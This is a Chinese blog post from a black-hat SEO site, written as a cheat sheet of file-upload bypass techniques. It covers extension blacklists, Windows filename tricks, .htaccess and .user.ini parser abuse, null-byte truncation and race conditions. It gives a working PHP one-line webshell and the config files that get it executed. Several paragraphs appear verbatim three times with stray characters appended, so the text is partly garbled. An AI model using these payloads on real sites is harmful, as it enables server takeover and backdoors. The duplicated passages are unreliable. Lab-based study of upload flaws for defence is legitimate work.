首页/漏洞检测/正文
网站漏洞检测:upload 上传漏洞

 2021年12月24日  阅读 424  评论 0

摘要:一.upload上传绕过后缀检验绕过1.黑名单检测绕过1.)上传文件重命名#由于只有后缀是可控的 所以常见的后缀为php中 php2,php3,php4,php5,phtm,phtml,pht,如果是黑名单的话 果断.htacess 和user.ini 文件传上去看看 asp中 cer,asa,aspx,svc,ashx,asax,ascx,asmx等 jsp中 jsp,jspx,jspa,jsw,jsv,jspf,jtml #windows环境下

一.upload上传绕过

后缀检验绕过

1.黑名单检测绕过
1.)上传文件重命名

#由于只有后缀是可控的
所以常见的后缀为php中
php2,php3,php4,php5,phtm,phtml,pht,如果是黑名单的话 果断.htacess 和user.ini 文件传上去看看

asp中
cer,asa,aspx,svc,ashx,asax,ascx,asmx等
jsp中
jsp,jspx,jspa,jsw,jsv,jspf,jtml
#windows环境下
1.)可尝试大小写绕-->因为windows下不区分大小写导致的
2.)可尝试 php::$DATA php.等后缀
3.)先上传a.php:.jpg,生成空的a.php文件,在上传a.ph<写入文件内容
4.)如果web服务器配置了ssi,可尝试SHTML,SHT等文件命令执行


黑名单特殊绕过的原理分析
windows特性绕过

#如 
①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格  
即无这句话$file_ext = trim($file_ext); //首尾去空
②留点绕过
原理-->windows环境中会自动去除点
即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name);
可以shell.php.绕过
③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过
即无这句话
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA


过滤次数仅有一次类绕过
常见使用于–>文件的名字仍为上传的文件名的这种情况

原理
①如在中如果过滤了.但在中虽然经过了过滤但是只过滤了一次的这种情况
因此可以进行php..进行绕过
②双写类-->即将黑名单的内容替换为空这种情况
$file_name = str_ireplace($deny_ext,"", $file_name);
因此直接shell.pphphp即可绕过


2.)上传文件不重命名

通过配置文件进行绕过
通过.htaccess–>只适用于apache服务器情况可以被解析
.htaccess的内容

SetHandler application/x-httpd-php

.user.ini–>利用配置文件更改进行导致解析(适用于php语言)

利用条件
.user.ini 利用条件如下:
①服务器脚本语言为PHP
②服务器使用CGI/FastCGI模式
③上传目录下要有可执行的php文件

配置内容

GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg  //解析后进行包含

使用方法
1.先上传.user.ini文件

//.user.ini
GIF89a#当需要检测文件头时需要使用
auto_prepend_file=a.jpg#即执行前先执行这个文件,从而连接其即可达到geteshell的作用

这个文件的作用为类似于在文件前调用了require()函数
是一个php配置项
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门



auto_prepend_file 表示在php程序加载第一个php代码前加载的php文件,auto_append_file 是在php代码执行完毕后加载的文件

2.在上传a.jpg文件构造一句话木马 连接

GIF89a
<script language='php'> @eval($_POST['pass']);</script>

然后直接执行连接即可

3.)上传类漏洞


如果其他文件均被解析为图片或者其他类型

上传index类文件可能可以被解析

如 index.php,index.jsp,index.asp类

.白名单检测
①截取类思路

①截取原理
img_path直接拼接导致
1.)get类获取直接拼接-->get类发送的可以直接解码%00
如
 $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
即可在save_path路径输出的地方控制位
shell.php%00
2.)post类获取直接拼接-->也是采用%00截断,不同点在于-->post类型的需要在二进制中修改
 $img_path = $_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
②条件竞争原理
如upload类
即先上传文件后然后在进行删除与修改
如下
因此可以不断的intruder包然后进行获取到
$upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);


uplaod-labs思路

data:image/jpeg上传时绕过方法#即更改为image/php的思路代


②常见利用中间组件和编辑器漏洞思路去绕过

1.)文件包含漏洞+解析漏洞组合拳


1.)apache解析漏洞

test.php.xxx

#因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php

2.)IIS解析漏洞

即会将jpg解析为php类

1.)apache解析漏洞
如
test.php.xxx
#因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php
2.)IIS解析漏洞
即会将jpg解析为php类

如(即编辑器处典型配合解析漏洞)

利用–>即直接代shell即可

#如 
①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格  
即无这句话$file_ext = trim($file_ext); //首尾去空
②留点绕过
原理-->windows环境中会自动去除点
即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name);
可以shell.php.绕过
③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过
即无这句话
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA0

2.)请求头部过滤



绕过方法:更改一个为大写字母即可

3.)upload+任意文件删除组合拳

①在后台允许上传的文件中,添加自己想要的文件格式


②如果.htaccess限制了访问规则

找到一个任意文件删除的漏洞

删除.htaccess即可绕过访问规则


3.截断利用绕过

造成原因:作为底层的语言一个函数出问题导致

\00截断利用–>php版本类型最多(且目录解析类型最多)–>核心低版本服务器的解析问题造成的漏洞

使用条件:

php版本的情况
1.php版本小于5.3.4
2magic_quotes_gpc为off状态–>如果开启了则%00为被反斜杠转义掉

3get请求类型与post请求类型不同所需要更改的不同


原因:

get类型-->url可以直接进行编码将%00变成一个非正常符号的编码

post类型-->url不进行直接编码,因此必须更改hex的值才可以进行-->或者进行url编码代绕


%00截断的原理

#如 
①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格  
即无这句话$file_ext = trim($file_ext); //首尾去空
②留点绕过
原理-->windows环境中会自动去除点
即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name);
可以shell.php.绕过
③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过
即无这句话
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA1

即直接利用代截断后面的内容实现绕过–>常见目录名截取


因为合取的是让road直接连接后面上传的文件

所以在这里构造%00进行截取掉后面的内容,从而实现绕过

java版本
使用条件
jdk8<jdk版本


JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。

1

\x99截断利用


x.php\x99.jpg #即可以进行截取了



版权声明:本文为 “黑帽百科” 原创文章,转载请附上原文出处链接及本声明;

原文链接:https://www.heimao.wiki/post/56252.html

标签: 黑帽技术 

发表评论:

关于我们
黑帽百科:黑帽seo百科,黑帽seo技术学习培训分享,黑帽SEO快排程序分享,定制。 SEO快速排名收录学习 老师qq:25496334
扫码关注
联系方式
全国服务热线:
地址:新加坡 - 市中心(Singapore City)乌节路
Email:hack66666@foxamil.com
邮编:
Copyright Your 黑帽百科.|网站地图.Some Rights Reserved.